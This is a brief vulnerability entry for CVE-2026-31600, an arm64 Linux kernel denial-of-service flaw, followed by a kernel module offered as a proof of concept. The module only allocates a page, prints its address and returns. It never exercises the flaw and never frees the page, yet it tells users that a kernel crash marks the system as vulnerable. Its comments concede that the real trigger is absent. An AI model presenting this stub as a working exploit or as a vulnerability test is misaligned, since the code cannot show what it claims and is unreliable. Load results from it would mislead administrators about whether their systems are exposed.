CVE-2026-31600: Linux内核arm64内存管理拒绝服务漏洞

/* * PoC Concept for CVE-2026-31600 * This kernel module attempts to trigger the invalid large leaf mapping issue. * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules * WARNING: This may cause kernel panic on vulnerable systems. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/set_memory.h> int init_module(void) { void *addr; struct page *page; // Allocate a page that might fall into a large block mapping area // depending on kernel config (rodata=full) page = alloc_page(GFP_KERNEL); if (!page) { printk(KERN_ALERT "Failed to allocate page\n"); return -ENOMEM; } addr = page_address(page); printk(KERN_INFO "Attempting to manipulate page at %p\n", addr); // On vulnerable kernels, specific manipulations or just the existence // of invalid large leafs during DMA operations (like swiotlb) can trigger the crash. // This is a simplified representation of the condition. // Real trigger often requires Realm Guest or specific DMA bounce buffer usage. printk(KERN_INFO "Module loaded. If kernel crashes, system is vulnerable.\n"); return 0; } void cleanup_module(void) { printk(KERN_INFO "Module unloaded.\n"); } MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Analyst"); MODULE_DESCRIPTION("PoC for CVE-2026-31600");